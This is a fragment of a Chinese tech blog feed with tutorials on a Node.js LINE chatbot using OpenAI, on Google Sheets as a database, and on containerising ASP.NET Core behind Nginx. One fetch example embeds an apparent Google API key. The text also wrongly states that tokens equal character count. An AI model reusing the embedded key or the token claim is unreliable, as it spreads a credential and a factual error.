key，請先把它記下來，後面會用到。\nAPI key generated 是非常重要的，因此請不要隨意提供給他人，以免造成不必要的損失。\n那麼我們申請這個是 API Key 要幹嘛呢？主要是稍後後面會串接 OpenAI 所提供的 API 來使用 ChatGPT，如果你還不知道什麼是 ChatGPT 的話，你可以試著玩一下 ChatGPT，簡單來講 ChatGPT 是一個非常聰明且厲害的聊天機器人，它可以做到的事情非常多，例如像是\u0026hellip;\n請它規劃日本旅遊行程 寫一篇行銷文案 幫忙找出程式碼錯誤 程式碼解題 \u0026hellip;等等，非常多\n因此我們申請這個 API Key 就是用來串接 ChatGPT 的！\nOpenAI 本身有提供免費的額度，三個月 18 美金，除此之外，OpenAI 的計算方式會因你使用的 model 不同而有不同的計算方式，例如像是「Davinci」的計算方式是 $0.0200(美金) / 1K tokens，如果你想要了解更多的話，可以參考這邊。\n額外補充\n什麼是 tokens？\ntokens 是指你輸入的字數，例如：「我想要去日本旅遊」，這句話有 8 個字，因此 tokens 就是 8。\n申請 Line Developer 接下來我們要來申請 Line Developer 帳號，你可以透過這個連結快速進入 Line Developer 網站，登入方式，基本上就是使用 LINE 帳號登入。\n登入後，你可以透過這個連結，進入 LINE 的開發者後台。\n接著，你會看到畫面上什麼都沒有，所以這邊你要點一下中間的「Create a new provider」，這個類似於一個公司帳號的概念，底下會有許多的專案，所以你可以把它想像成一個公司，而這個公司底下有許多的專案，例如：Line Bot、Line MUSIC 等等之類你的服務。\n這邊的話，範例我們就叫做「Wayne\u0026rsquo;s OpenAI Bot」。\n建立的過程是非常快的，因此當你點下「Create」 之後，你就可以馬上看到 Wayne\u0026rsquo;s OpenAI Bot 的畫面。\n接著，點一下畫面上的 「Create a Messaging API channel」，因為我們要來申請一個聊天機器人，所以我們要使用「Messaging API」。\n進入「Create a Messaging API channel」後，會有一些欄位要填寫：\nChannel type： 保持預設 Messages API。 Provider： 保持預設 「Wayne\u0026rsquo;s OpenAI Bot」 即可。 Company or owner’s country or region： 依據你的公司所在地選擇，這邊我選擇台灣。 Channel icon： 你可以之後再上傳，所以這邊先不用管。 Channel name： 這邊我們就叫「Wayne\u0026rsquo;s AI」吧。 Channel description： 你可以簡單描述一下，這個聊天機器人的功能，例如：「用於串接 OpenAI 的偉恩 Line 機器人」。 Category： 就選擇…「其他媒體」。 Subcategory： 接著一樣選「媒體（其他）」。 Email address： 這是當你的聊天機器人有問題時，信箱聯絡你的方式。 Privacy policy URL 與 Terms of use URL： 這兩個就不用理它，因為我們目前用不到。。 最後再打勾兩個條管，你就可以點下「Create」建立你的聊天機器人了。\n由於這個頁面圖片太大張了，所以就不額外截圖。\n當你按下「Create」之後，它會出現一個視窗，主要是告知你一些資訊，所以你可以按下 OK 關閉它。\n到目前為止，我們只是申請好了一個 Line Bot，接著要來取得一些資訊，首先在「Base settings」中找到以下資訊並複製起來。\nChannel ID Channel secret 接著切換到「Messaging API」，找到「Channel access token」。\n接著按下 「issue」，你會取得一串很長的 Token，請複製起來，後面我們會使用到。\n到目前為止，我們已經準備好了 Line Bot 的申請以及 OpenAI API 的申請，接下來就是準備進入撰寫程式碼的部分囉。\n建立一個專案 建立專案方式我就不多述了，相信大家應該都很熟悉怎麼建立專案以及安裝 Node.js，而這邊我稍微會有一點特別，我會使用 pnpm 來建立，如果你真的完全沒想法，你可以參考我以下指令來建立一個專案，當然你也可以使用 npm 或是 yarn 來建立。\n提示：以下指令適用於 Mac 系統，若為 Mac 建議額外 Google 一下指令。\n1 2 3 4 5 6 7 8 9 10 11 # 若尚未安裝pnpm，可使用此指令先進行安裝 # npm install -g pnpm # 建立一個資料夾 mkdir line-bot # 進入資料夾 cd line-bot # 初始化專案 pnpm init 基本上到這邊就算是初始化好一個專案了，接著就是準備要來安裝 Line Bot 的套件了。\n安裝相關套件 接下來我們要安裝 @line/bot-sdk 這個套件，請在專案終端機下輸入以下：\n1 pnpm i @line/bot-sdk express dotenv 安裝好之後，你可以先在專案底下建立一個 app.js 的檔案，稍後我們就會開始撰寫 LINE Bot 的程式碼囉。\n撰寫 LINE Bot 前面我們已經準備好了 app.js 檔案，接著就是要撰寫程式碼，不外乎前面就是引入 @line/bot-sdk、express 與 dotenv 這三個套件。\napp.js 1 2 3 4 require(\u0026#39;dotenv\u0026#39;).config(); const express = require(\u0026#39;express\u0026#39;); const line = require(\u0026#39;@line/bot-sdk\u0026#39;); 接著呢？其實 Line 官方有提供範例程式碼，因此我們是可以直接嘗試挪過來測試看看。\napp.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 require(\u0026#39;dotenv\u0026#39;).config(); const line = require(\u0026#39;@line/bot-sdk\u0026#39;); const express = require(\u0026#39;express\u0026#39;); // create LINE SDK config from env variables const config = { channelAccessToken: process.env.CHANNEL_ACCESS_TOKEN, channelSecret: process.env.CHANNEL_SECRET, }; // create LINE SDK client const client = new line.Client(config); // create Express app // about Express itself: https://expressjs.com/ const app = express(); // register a webhook handler with middleware // about the middleware, please refer to doc app.post(\u0026#39;/callback\u0026#39;, line.middleware(config), (req, res) =\u0026gt; { Promise .all(req.body.events.map(handleEvent)) .then((result) =\u0026gt; res.json(result)) .catch((err) =\u0026gt; { console.error(err); res.status(500).end(); }); }); // event handler function handleEvent(event) { if (event.type !== \u0026#39;message\u0026#39; || event.message.type !== \u0026#39;text\u0026#39;) { // ignore non-text-message event return Promise.resolve(null); } // create a echoing text message const echo = { type: \u0026#39;text\u0026#39;, text: event.message.text }; // use reply API return client.replyMessage(event.replyToken, echo); } // listen on port const port = process.env.PORT || 3000; app.listen(port, () =\u0026gt; { console.log(`listening on ${port}`); }); 記得在專案底下建立一個 .env 並填寫以下資訊跟 Key。\n1 2 CHANNEL_ACCESS_TOKEN= CHANNEL_SECRET= 理論上來講，你目前專案應該是已經可以輸入 node app.js 啟動了，所以你可以嘗試啟動看看，如果無法啟動的話，會建議你往前面的步驟再檢查一下。\n部屬到 Render 到目前為止我們要先嘗試將專案部署到 Render 上面，否則我們並不清楚專案是否可以正常運作，因為在使用 Render 之前，我們需要先建立一個 Render 的帳號，如果你還沒有的話，可以先到這邊註冊一個帳號。\n建立好後，會建議你將專案程式碼上傳到 GitHub 上，因為 Render 有提供 GitHub 的整合，這樣可以讓我們更方便的部署專案，而上傳到 GitHub 這流程就不再贅述了，因此我這邊假使你已經完成了將程式碼上傳到 GitHub 這個動作後，接著就是直接進入到 Render 後台。\n這邊請選擇 「Web Services」。\n接著你可以在這個畫面上選擇專案，如果你發現你的畫面上一個專案都沒有的話，可以點一下旁邊的「Configure account」。\n接著你可以在這邊選擇專案，懶一點的話你可以乾脆給它全部的權限，因為我們只是要部署一個簡單的專案，所以我就選擇我要的單一專案即可。\n接下來畫面上應該就可以看到你的專案了，接著點選你要部署的專案。\n在這邊點一下「Connect」。\n這邊會要求你填一些欄位，我就不多說明了，我直接附上我的設定。\n接著往下滾，就選擇 「Free」專案即可，然後再點一下下方的「Advanced」。\n因為我們要在「Advanced」區塊填入環境變數。\n接著點一下「Add Environment Variable」，依照欄位填入。\n最後其他設定可以不用管，直接點一下最後的「Create Web Service」。\n預設 Render 會去偵測 Commit 紀錄，所以如果有新的 Commit，Render 會自動重新部署，如果你不想要這個功能的話，可以在「Advanced」區塊裡面，將「Auto Deploy」關閉。\n那麼由於為了方便示範，因此我這邊預設會採用「Yes」。\n接著你就可以看到你的專案正在部署了。\n這個過程稍微會比較久一點，因為 Render 會將它打包成一個 Docker Image，然後再部署到它的伺服器上，所以這個過程會稍微比較久一點，但是不用擔心，因為它會自動幫你做這些事情，你只要等待它完成即可。\n部署完畢的話，你可以在畫面看到他提示你專案已經運行起來並且開始部署。\n而你的專案的網址，就會在這邊：\n不出意外的話，應該是無法開啟的，因為我們只有做一個 post 的 API，那麼到這邊我們專案就正式部署出去了，基本上都不用理會它了。\n這邊請記住網址，因為後面我們會在使用到。\n加入 Line Bot 好友 接下來我們就要來實際測試一下，我們的 Line Bot 是否可以正常運作，而取得這個 LINE Bot 的 ID 方式就在 Developer Console 的「Messaging API」裡面。\n加入好友後，你應該就會立刻看到好友歡迎的訊息通知。\n接著你可以試著發送訊息給它，例如「Test」，但是你會發現它沒有辦法正常回應你。\n因此接下來，我們要做一點調整，讓它可以正常回應你。\n調整 Line Bot 這邊請你回到 Line Bot 的後台，點一下「Messaging API」，然後找到「Webhook settings」。\n接著點一下「Edit」，然後將「Webhook URL」填入你的專案網址，例如 https://example.com/callback\ncallback 是因為我們 Express 專案的路由是 /callback，如果你的路由不是這個的話，請自行修改。\napp.js 按下儲存後，你可以點一下「Verify」，來驗證你的網址是否正確以及專案是否正常，只要能看到「Success」就代表你的網址以及專案是正確的。\n接著將下方的 「Use webhook」打開。\n打開後，你再去試著發送訊息給你的 Line Bot，你就會發現它可以正常回應你了，而且是不論你打什麼，他都會回應你剛剛打的字。\n恭喜你，截至為止，我們終於把 Line Bot 正式處理好了。\n關掉預設回饋 接下來你可能會想要把那段該死的提示回饋：\n1 2 3 4 感謝您的訊息！ 很抱歉，本帳號無法個別回覆用戶的訊息。 敬請期待我們下次發送的內容喔(moon smile) 以及加入好友通知：\n1 2 3 4 5 6 XXX您好！ 我是Wayne\\\u0026#39;s AI。 感謝您加入好友 此官方帳號將定期發放最新資訊給您 敬請期待 這兩個關掉，關掉方式很簡單，一樣回到 Line Bot 的後台，點一下「Messaging API」，然後找到「Auto-reply messages」。\n你會跳到 LINE@ 管理介面，將「加入好友歡迎訊息」以及「自動回覆訊息」關掉就搞定囉！\n串接 OpenAI API 終於到了我們的重頭戲了，前面你可以發現 LINE Bot 的流程與申請非常的多且繁瑣，因此前面花很多時間在介紹，主要是希望你可以順利建立好你的 LINE Bot，確保你接下來的步驟不會有問題。\n安裝 OpenAI 套件 首先我們要先安裝 OpenAI 的套件，請在專案底下輸入以下指令：\n1 pnpm i openai 接著 openai 本身有提供範例程式碼：\n1 2 3 4 5 6 7 8 9 10 11 12 const { Configuration, OpenAIApi } = require(\u0026#34;openai\u0026#34;); const configuration = new Configuration({ apiKey: process.env.OPENAI_API_KEY, }); const openai = new OpenAIApi(configuration); const completion = await openai.createCompletion({ model: \u0026#34;text-davinci-002\u0026#34;, prompt: \u0026#34;Hello world\u0026#34;, }); console.log(completion.data.choices[0].text); 因此基於上方這一段，我們稍候可以來修改一下，讓它可以跟我們的 LINE Bot 串接。\nopenAI 有提供多個 model 可以選擇，分別是：\ntext-davinci-003 text-curie-001 text-babbage-001 text-ada-001 其中目前(2022年)最紅的就是 text-davinci-003，因此我們這邊也會使用這個 model，每一個 model 都有不同的特性，你可以在這裡找到它的介紹。\n調整 app.js 的程式碼 首先我們要先在 app.js 中引入 OpenAI 的套件。\napp.js 1 const { Configuration, OpenAIApi } = require(\u0026#34;openai\u0026#34;); 接下來我們要來實例化 OpenAI。\napp.js 1 2 3 4 const configuration = new Configuration({ apiKey: process.env.OPENAI_API_KEY, }); const openai = new OpenAIApi(configuration); apiKey 就是我們最早前面所申請的 OpenAI API Key，而這一段一樣是放在 .env 的。\n如果你沒申請的話你會無法往下繼續的，請務必申請 OpenAI API Key 唷。\n目前來講，你的 .env 應該長這樣：\n1 2 3 4 CHANNEL_ACCESS_TOKEN= CHANNEL_SECRET= OPENAI_API_KEY= 接下來呢？我們就要將原本 Line 官方所提供的範例程式碼稍微調整一下，主要調整的範圍是 handleEvent 的程式碼：\napp.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 async function handleEvent(event) { if (event.type !== \u0026#39;message\u0026#39; || event.message.type !== \u0026#39;text\u0026#39;) { // ignore non-text-message event return Promise.resolve(null); } const completion = await openai.createCompletion({ model: \u0026#34;text-davinci-003\u0026#34;, prompt: event.message.text , }); // create a echoing text message const echo = { type: \u0026#39;text\u0026#39;, text: completion.data.choices[0].text }; // use reply API return client.replyMessage(event.replyToken, echo); } 這邊我們將原本的 prompt 改成 event.message.text，也就是使用者輸入的訊息，而 completion.data.choices[0].text 就是 OpenAI 所回傳的訊息。\n沒問題後就儲存檔案，並 commit push 出去到 GitHub 上，屆時 Render 就會自動幫你重新部署了。\n記得要去 Render 上面增加 OPENAI_API_KEY 的環境變數，否則會出現錯誤唷。\n當部署完畢後，你再去試著跟你的 LINE Bot 聊天，你會發現它已經會講話囉！\n只是你會發現它好像沒辦法回你很多話，這原因是我們沒有告知它要使用多少 Tokens，因此這邊我們調整一下：\napp.js 1 2 3 4 5 const completion = await openai.createCompletion({ model: \u0026#34;text-davinci-003\u0026#34;, prompt: event.message.text, max_tokens: 200, }); 這個 max_tokens 會影響到 OpenAI 所回傳的訊息長度，因此我們這邊設定為200，這樣就可以讓它回很多話了。\n調整 OpenAI 的回傳訊息 那麼這邊也有一件很有趣的事情，也就是 OpenAI 的訊息都有一大推空白，這是因為 OpenAI 會將你的訊息分成一個個的段落，而每個段落之間都會有一個空白，因此我們也要來調整一下。\napp.js 1 2 3 4 5 6 7 const completion = await openai.createCompletion({ model: \u0026#34;text-davinci-003\u0026#34;, prompt: event.message.text , max_tokens: 200, }); const echo = { type: \u0026#39;text\u0026#39;, text: completion.data.choices[0].text.trim() }; 再重新上傳程式碼後，你就可以看到機器人正常的回你了。\n恭喜你，完成了一個可以跟你聊天的機器人！而且是串接了 OpenAI 的機器人！\n結語 相信你應該發現這個 Line Bot 的建立流程超級無敵的長，而且非常的多流程跟細節，但是你也可以因此認識到如何串接第三方服務，以及如何將你的程式碼部署到 Render 上面，所以我覺得是一個相當不錯的小練習，所以如果你想嘗試做一個聊天機器人，是可以考慮使用這個方法的。\n但是要注意一件事情 OpenAI 的 GPT 有一個重點使用，如果你要讓你聰明一點的回覆你，那麼你就要將它的上下文（包含你的回覆）一起撈出來丟給它，否則你會發現它有點笨，可是 LINE 的聊天機器人不太適合這種方式，因為過程你可能會問很多事情，這樣子訊息量會非常龐大且沒辦法刪除，因此這邊我們就不做這件事情了，而是讓它針對你每個問題去回覆即可，而不包含前一個問題的回覆。\n最後這邊我也附上範例程式碼，如果你想直接拉回去用也是可以的，因為這一份程式碼基本上都是以官方所提供的為主，很少有大幅度調整的部分，所以你可以直接拿來用。\n希望這一篇可以讓你快快樂樂做出一個 LINE Bot。\n如果你覺得部署到 Render 很難去除錯，其實是可以考慮使用 ngrok 的，ngrok 的使用方法可以參考這裡。\n","date":"2022-12-12T00:00:00Z","image":"https://live.staticflickr.com/65535/52558908513_206844d03c_o.png","permalink":"https://blog.wayne-project.com/2022-12-12/nodejs-create-openai-line-bot/","title":"用 Node.js 建立你的第一個 OpenAI LINE Bot 聊天機器人"},{"content":" 參考網站\nGoogle 試算表名稱是 Google Sheets，但為了讓大家好理解，以下也會稱 Google Excel。\n這一篇說明如何把 Google Excel 當作資料庫，並實作出一個簡單的會員列表頁出來。\n建立 Google Excel 在 Google Drive 上，按新增，選擇「Google 試算表」，就會進到一張新的 Google Excel。\n這邊設定的假資料欄位，總共有以下 5 個：\nid：流水號 name：姓名 image：圖片 email：信箱 phone：電話 要注意，欄位名稱的部份要用英文，在下面接資料那段會解釋原因。\nDemo 的資料如下：\n發佈 Google Excel 到網路 這步最簡單也最重要，只有選擇發佈到網路上的 Google Excel，才能 GET 到資料。\n首先，點擊左上角的「檔案」\u0026gt;「共用」，會看到展開的選項裡有「發佈到網路」：\n點擊後，會出現詢問框，問說發佈的範圍：\n這篇 Demo 因為只有一張表，所以直接用「整份文件」，如果是有很多張表，但限制其中幾張是可以抓的，就選擇可以公開的表即可。\n按下「發佈」後，就會看見結果的詢問框：\n就可以按下叉叉關掉這框了。\n接著記得將表單的「檢視」權限開放給知道連結的任何人，以免後面步驟因權限不足而被阻擋。\n取得 Google API Key 1. GCP 新增新專案 沒有專案的才需要這步，進到 Google Cloud Platform 的頁面按下新增專案，取好專案名稱後即可新增。\n2. 開通 Google Sheets API 功能 有了 GCP 的專案後，進到 API 程式庫：https://console.cloud.google.com/apis/library?hl=zh-TW\n搜尋欄中搜尋「sheet」，會看到一項「Google Sheets API」：\n點擊後按下「啟用」，專案就會開通 Google Sheets API 的功能：\n啟用完成，頁面會回到 GCP 的頁面，可以看到上面一條訊息提醒要有憑證才能使用 API：\n直接點擊「建立憑證」，或是打開網址：https://console.cloud.google.com/apis/credentials/wizard?hl=zh-TW\n3. 建立憑證 建立憑證的第一步要先做一些選擇：\n「選取 API」，選擇「Google Sheets API」。\n「您需要存取什麼資料？」，這段看了 說明文件 也看不太懂使用的情境，選擇「應用程式資料」就可以。\n「您打算將這個 API 與 Compute Engine、Kubernetes Engine、App Engine 或 Cloud Functions 搭配使用嗎？」，本篇只是為了要能夠取得 Google Sheets 中的資料，並不會用到上述的功能，選擇「不，我不會使用任何一項憑證」。\n接著按「下一步」。\n下一步是填寫我們建立這個帳戶的資料，填寫成我們之後回頭來看時，看得懂要做什麼的資訊就可以：\n填寫完後按下「建立並繼續」。\n後面二項是選填，不用設定也沒關係，按下「完成」。\n4. 建立 API 金鑰 上一步完成後，頁面會回到 憑證的頁面，點擊上方的「建立憑證」，選擇「API 金鑰」：\n幾秒後，就會看見跳出一個小視窗，上面寫了「您的 API 金鑰」，這個金鑰也就是我們要取 Google Sheets 時後面要附上的：\n視窗上面也提醒了，為了怕金鑰被外人拿到也可以用，我們必須要對這組金鑰加上限制，點擊「限制金鑰」就會進入設定的頁面。\n建議一定要設定限制，本篇的 Demo 有限制只有在 Demo 頁下才有效，而且也只能用 Google Sheets API 的功能。\n有了 API 金鑰，接著就是用新的 URL 去執行 GET。\nGoogle Sheets URL V4 版的 URL 規則如下：\n1 https://sheets.googleapis.com/v4/spreadsheets/{表單id}/values/{sheet名稱}?alt=json\u0026amp;key={API金鑰} {表單id}：表單的網址上就可以看到。 {sheet名稱}：就是每一張試算表的名稱，預設會是叫「工作表1」，這邊有測試過，有支援中文。 {API金鑰}：就是上一段我們從 GCP 上取得的金鑰。 我們用一個簡單的 fetch 來取：\n1 2 3 4 5 fetch(\u0026#39;https://sheets.googleapis.com/v4/spreadsheets/1-vTT5LVlscvExPjqJHrhmlO2ZMM-93McoP-yXT8gyOU/values/工作表1?alt=json\u0026amp;key=AIzaSyAVlwHA4EQx7AWjK1QsT87shL37vhKWrl4\u0026#39;) .then(res =\u0026gt; res.json()) .then(res =\u0026gt; { console.log(res) }) Console 上會看到回來的資料如下：\n回來資料的格式，所有資料都收在 values 裡，Google Sheets 上的每一列會成為一個一個的陣列。\n相關連結 附上本篇的相關連結：\n網站成果 Google Sheet 網站原始碼 Github 空間 ","date":"2022-12-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52550876753_d803ddfa87_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-10/use-google-sheet-as-db/","title":"如何用 Google Sheets / Excel 當作資料庫？"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n前言 發表 Docker 筆記以來，一直有網友提醒應改用 Kubernetes (K8S)，關於這點在前篇文章已經提過，用 Docker / Docker-Compose 玩玩小網站還 OK，一旦涉及高可用性如備援、負載平衡，若不依賴現成管理架構，維運操作將複雜到會咬人。而 Kubernetes 正是目前容器管理框架的主流業界標準，尤其如打算將容器直接部署到雲端廠商(Azure、AWS、Google GCP)，不會 Kubernetes 更是寸步難行。故在次聲明以正視聽，在企業環境如需考量高可用性、負載平衡或想直接部署到廠商雲端，一般不會用 Docker-Compose 而會採用 Kubernetes，請大家注意。\n這篇筆記是我將部落格網站移入 Docker 容器的經驗分享，將記錄 Miniblog.Core ASP.NET Core 網站搬進 Docker 過程遇到的一些眉角。\nReverse Proxy 問題 由於我打算在同一機器上共享對外 IP 跑多個網站，因此採行前一篇筆記所說的「以 Compose 組合網站與 DB，網站對映 Host IP/Port，Nginx 另跑容器導向各網站 Port」策略。\n目錄對應 部落格網站有一些執行期間更新的內容，包含 NLog Log 檔、文章圖檔、SQLitｅ 資料庫等，這些內容不適合放在容器裡，故都需設 Volume 對映到 Host OS 的實際檔案，如此容器可任意刪除重建及升級，管理運用較方便。\n時區問題 踩了雷才知道：Docker 容器內的時區跟 Host OS 是脫鉤的。即便本機已設好定為台北時區，Docker 容器預設為 UTC+0 時區，有兩種做法：\n在 docker-compose.yml 中加註環境參數 TZ 新增 Volume 對映 /etc/localtime:/etc/localtime:ro，要求容器以 Host OS 的時區為準 第一種做法遇到以 Alpine Linux 版 Image 建的容器需要額外裝套件，故對映 /etc/localtime 較單純。\n參考：設定 Docker Container 與 Host 相同時區的方法\n取得真實來源 IP 問題 Reverse Proxy 來源 IP 在 ASP.NET Core + Nginx on CentOS 安裝筆記 提過，當 ASP.NET Core 架設在 Reverse Proxy 後方，直接看到的是 Reverse Proxy 的 IP，要得到真實來源 IP，在 Nginx config 需加註 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for，透過 HTTP Header 傳遞內容。而 ASP.NET Core 程式也需修改：\n1 2 3 4 5 6 7 public void Configure(IApplicationBuilder app, IHostingEnvironment env) { app.UseForwardedHeaders(new ForwardedHeadersOptions { ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.XForwardedProto }); } 不過若 ASP.NET Core 運行於容器，綁定的 IP 不是 127.0.0.1 而是隔離網段 172.1x.0.x IP，此行為打破 UseForwardedHeaders 假設 Request 來自 localhost 的前題，就算設了 ForwardedHeaders， IHttpContextAccessor.HttpContext.Connection.RemoteIpAddress 讀到的仍是 172.1x.0.1 (隔離網段的 Gateway IP)。\n由 ASP.NET Core 的原始碼，檢查規則為若 ForwardedHeadersOptions.KnownNetworks 或 ForwardedHeadersOptions.KnownProxies 有設定，來源 IP 必須要是 KnownNetworks 或 KnownProxies 才會認定請求為 Proxy 轉傳。而 KnownNetworks 及 KnownProxies 預設只有本機 IP。\n1 2 3 4 5 6 7 8 9 10 11 12 13 // ... /// \u0026lt;summary\u0026gt; /// Addresses of known proxies to accept forwarded headers from. /// \u0026lt;/summary\u0026gt; public IList\u0026lt;IPAddress\u0026gt; KnownProxies { get; } = new List\u0026lt;IPAddress\u0026gt;() { IPAddress.IPv6Loopback }; /// \u0026lt;summary\u0026gt; /// Address ranges of known proxies to accept forwarded headers from. /// \u0026lt;/summary\u0026gt; public IList\u0026lt;IPNetwork\u0026gt; KnownNetworks { get; } = new List\u0026lt;IPNetwork\u0026gt;() { new IPNetwork(IPAddress.Loopback, 8) }; // ... 解決方法有兩種，一種是將 172.x.0.0 加入 ForwardedHeadersOptions.KnownNetworks，但網段為 Docker 自由調配，最好寫成自動偵測不宜寫死。\n另一個解法是將 KnownNetworks 與 KnownProxies 都清空，一般有來源 IP 被偽造的風險，但我們 ASP.NET Core 網站架構 Nginx Reverse Proxy 是唯一的入口，故我將其視為可接受做法：\n1 2 3 4 5 6 7 var forwardingOptions = new ForwardedHeadersOptions() { ForwardedHeaders = ForwardedHeaders.XForwardedFor | ForwardedHeaders.XForwardedProto }; forwardingOptions.KnownNetworks.Clear(); //its loopback by default forwardingOptions.KnownProxies.Clear(); app.UseForwardedHeaders(forwardingOptions); 參考：\n记录Docker部署asp.net core应用时使用反向代理的坑 IIS Reverse Proxy 後 RemoteIpAddress 取值錯誤 Stackoverlow 討論 Nginx 內容壓縮問題 跑了一陣子才發現，我用的 Nginx + Certbot 容器的 Nginx 設定檔 /etc/nginx/nginx.conf 預設未開啟 GZIP 壓縮。\n我的解法是新增 Volume 對映將 /etc/nginx/nginx.conf 對應到 Host /etc/nginx/nginx.conf，並修改增加 gzip 那段內容：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 user nginx; worker_processes 1; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main \u0026#39;$remote_addr - $remote_user [$time_local] \u0026#34;$request\u0026#34; \u0026#39; \u0026#39;$status $body_bytes_sent \u0026#34;$http_referer\u0026#34; \u0026#39; \u0026#39;\u0026#34;$http_user_agent\u0026#34; \u0026#34;$http_x_forwarded_for\u0026#34;\u0026#39;; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; gzip on; gzip_min_length 1000; gzip_buffers 4 16k; gzip_comp_level 5; gzip_types text/plain application/x-javascript text/css application/xml text/javascript; include /etc/nginx/conf.d/*.conf; } Nginx 壓縮設定的意義可參考官方文件\n","date":"2022-12-09T00:00:00Z","image":"https://live.staticflickr.com/65535/52565101723_e9c2825542_o.png","permalink":"https://blog.wayne-project.com/2022-12-09/dotnet-core-docker-note-4/","title":"ASP.NET Core Docker 筆記 4 - ASP.NET Core 網站容器化經驗分享"},{"content":" 參考網站\n前言 前篇文章介紹過使用 Docker Compose 設定關聯容器(Web、DB、Reverse Proxy)組成系統，容器被隔離在專用網段(Compose 自動建立的 Bridge)，並可透過容器名稱彼此溝通，Compose 也確保相關服務一起啟動一起關閉，是用多個容器建構系統最簡便的做法。\n註：關於容器管理 Kubernetes，K8S 提供更強大的功能，支援 Cluster 高可用架構 (單一容器、主機掛掉系統不會死)，為當今在雲端掛載容器以及中大型企業實做容器架構的主流，K8S 無疑可取代 Docker Compose，但其複雜性較高。 目前我在單一 Linux 機跑 Docker 還用不到牛刀(雖然有單機版 Minikube 可用)，未來若要將 Docker 應用於工作，K8S 已成必要技能。\n用 Docker Compose 組合容器建立服務看似完美，但應用在 Reverse Proxy (Nginx) 時需要額外考量。\n我打算在同一台 Linux 上跑多個網站，對外用同一個 IP，再依 HTTP Request 的 Host 標頭導向不同網站。\n舉例 舉個例子：假設 Linux 的對外 IP 是 123.123.123.123，我申請兩個 DNS 名稱 web1.xxx.com.tw、web2.xxx.com.tw 都指向 123.123.123.123。\n使用者用 http://web1.xxx.com.tw 連上 123.123.123.123 的 80 Port 時，Reverse Proxy 導向 Web1 網站；用 http://web2.xxx.com.tw 時連線時則導向 Web2 網站。由於對外靜態 IP 為珍貴資源，多網站透過 Host 共用 IP 是節省成本的常見做法。\n上述以 HTTP Host 名稱導向的做法，若用 Docker Compose 將網站連同 Reverse Proxy 包在一起，就可能出問題。\n例如：某 Host OS 跑兩個網站，若各自用 Docker Compose 連同 Nginx 一起包進去，網站 A 由 Web-A + MySQL-A + Nginx-A 組成，網站 B 由 Web-B + MySQL-B + Nginx-B 組成，二者跑在自己的專屬網段，僅 Nginx-A 跟 Nginx-B 對映到 Host OS IP 的 80 Port\u0026hellip; 哦哦，衝突出現了，Nginx-A 與 Nginx-B 都需對映 Host IP 的 80 Port，但 Host OS 的 80 Port 只允許被一個程序使用。\n解決方式 有幾個解決方向：\nNginx-A 與 Nginx-B 各自對應到主機不同 Port，更前端再掛一台 Nginx 聽 80 Port，依 Host Name 導向到 Nginx-A 與 Nginx- B，如此 Nginx-A 與 Nginx-B 的角色顯得多餘，多了一次轉接但未看到明顯效益，徒增複雜性又耗損效能。\n將兩個系統包成一個大 Docker Compose，Web-A + MySQL-A + Web-B + MySQL-B + Nginx，共用 Nginx 可避免 Port 80 繫結衝突，但將不相關系統綁架成一團，被迫一起啟動一起停止挺鳥的，更不用提一旦加跑新服務就要改 Docker Compose，我覺得不行。\n將 Nginx 從 Docker Compose 抽離，讓 Web-A 與 Web-B 對映到 Host IP 的不同 Port，整個 Host OS 只跑一份 Nginx 聽 80 Port，依 Host Name 分派給網站 A 或網站 B。也就是用 Docker Compose 執行三個容器：\nWeb-A + MySQL-A Web-B + MySQL-B Ngnix 3 是我認為較可行且有效率的做法。\nNginx 包容器的做法在第一篇筆記已提過，這次我們將重點放在整合 Certbot 及 docker-compose.yml 定義。\n原本想抓 Nginx 的 Docker Image 自行加裝 certbot 實現自動安裝與更新 Let\u0026rsquo;s Encrypt SSL 憑證。\n用 Docker 的好處是資源豐富，很快在網路上找到現成解決方案，超級好用的全自動化 Nginx + Certbot -\u0026gt; staticfloat/nginx-certbot。\nstaticfloat/nginx-certbot staticfloat/nginx-certbot\n使用方法很簡單，在 /etc/nginx/conf.d 放一個 certbot.conf 接受 80 Port 流量，只用於接收 Let\u0026rsquo;s Encrypt 的 /.well-known/acme-challenge 要求導向 Certbot 完成自動驗證，其餘則一律導向 HTTPS：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 server { # Listen on plain old HTTP listen 80 default_server; # Pass this particular URL off to certbot, to authenticate HTTPS certificates location \u0026#39;/.well-known/acme-challenge\u0026#39; { default_type \u0026#34;text/plain\u0026#34;; proxy_pass http://localhost:1337; } # Everything else gets shunted over to HTTPS location / { return 301 https://$http_host$request_uri; } } 接著在 /etc/nginx/conf.d 為每個網站新增一個 someweb.conf 承接 HTTPS 請求。server_name 註明該網站綁定的 Host 名稱(DNS 名稱)，ssl_certificate、ssl_certficate_key 則指向 /etc/letsencrypt/live/DNS名稱 的 fullchain.pem 及 private.pem，這兩個檔案不需事先準備，Certbot 會自動產生，至於 proxy_* 相關設定比照先前介紹過的做法。完整範例如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 server { listen 443 ssl; server_name blog.darkthread.net; ssl_certificate /etc/letsencrypt/live/blog.darkthread.net/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.darkthread.net/privkey.pem; location / { proxy_pass http://localhost:5000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection keep-alive; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } 這個 Docker Image 有一段精巧設計，它在啟動時會主動掃瞄 /etc/nginx/conf.d 下的 config，一旦偵測缺少 /etc/letsencrypt/live/*/fullchain.pem 就連上 Let\u0026rsquo;s Encrypt 網站進行驗證下載 